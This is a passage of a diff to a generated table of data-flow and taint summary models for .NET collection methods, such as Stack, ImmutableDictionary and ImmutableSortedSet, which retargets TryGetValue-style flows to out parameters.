System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | | System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[this].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | @@ -5382,8 +5363,8 @@ | System.Collections.Generic;Stack;Push;(T);Argument[0];Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;value;dfc-generated | | System.Collections.Generic;Stack;Stack;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;value;dfc-generated | | System.Collections.Generic;Stack;ToArray;();Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue.Element;value;dfc-generated | -| System.Collections.Generic;Stack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue;value;dfc-generated | -| System.Collections.Generic;Stack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;Stack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;Argument[0];value;dfc-generated | +| System.Collections.Generic;Stack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;Argument[0];value;dfc-generated | | System.Collections.Immutable;IImmutableDictionary;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;IImmutableDictionary;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | | System.Collections.Immutable;IImmutableList;Add;(T);Argument[0];Argument[this].Element;value;manual | @@ -5605,8 +5586,7 @@ | System.Collections.Immutable;ImmutableDictionary+Builder;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;GetValueOrDefault;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary+Builder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableDictionary+Enumerator;get_Current;();Argument[this].Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];ReturnValue;value;df-generated | @@ -5625,8 +5605,7 @@ | System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | @@ -5648,7 +5627,7 @@ | System.Collections.Immutable;ImmutableHashSet;ToImmutableHashSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet+Builder;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | -| System.Collections.Immutable;ImmutableHashSet+Builder;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet+Builder;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -5661,12 +5640,10 @@ | System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[3].Parameter[0];value;dfc-generated | @@ -5679,8 +5656,6 @@ | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[1];Argument[3].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[1];Argument[3].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[2];ReturnValue;value;dfc-generated | @@ -5689,9 +5664,6 @@ | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Enqueue;(System.Collections.Immutable.ImmutableQueue,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[2].ReturnValue;ReturnValue;value;dfc-generated | @@ -5700,45 +5672,22 @@ | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[3];Argument[2].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[3];Argument[2].Parameter[1];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2].ReturnValue;ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedCompareExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedInitialize;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Push;(System.Collections.Immutable.ImmutableStack,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryDequeue;(System.Collections.Immutable.ImmutableQueue,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryPop;(System.Collections.Immutable.ImmutableStack,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryRemove;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryRemove;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[0];ReturnValue;value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | @@ -5866,9 +5815,11 @@ | System.Collections.Immutable;ImmutableQueue;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableQueue;Dequeue;(System.Collections.Immutable.IImmutableQueue,T);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Dequeue;(System.Collections.Immutable.IImmutableQueue,T);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Dequeue;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableQueue;Dequeue;(T);Argument[this];Argument[0];taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Dequeue;(T);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Enqueue;(T);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableQueue`1._forwards].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];value;dfc-generated | | System.Collections.Immutable;ImmutableQueue;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableQueue`1+Enumerator.Current];value;manual | @@ -5932,8 +5883,7 @@ | System.Collections.Immutable;ImmutableSortedDictionary+Builder;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;GetValueOrDefault;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -5952,9 +5902,8 @@ | System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | @@ -5984,8 +5933,8 @@ | System.Collections.Immutable;ImmutableSortedSet+Builder;IntersectWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;get_Min;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -6004,8 +5953,8 @@ | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | @@ -6018,12 +5967,13 @@ | System.Collections.Immutable;ImmutableStack;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableStack;Pop;(System.Collections.Immutable.IImmutableStack,T);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Immutable;ImmutableStack;Pop;(System.Collections.Immutable.IImmutableStack,T);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableStack`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableStack;Peek;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Pop;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];Argument[0];value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Push;(T);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];value;dfc-generated | | 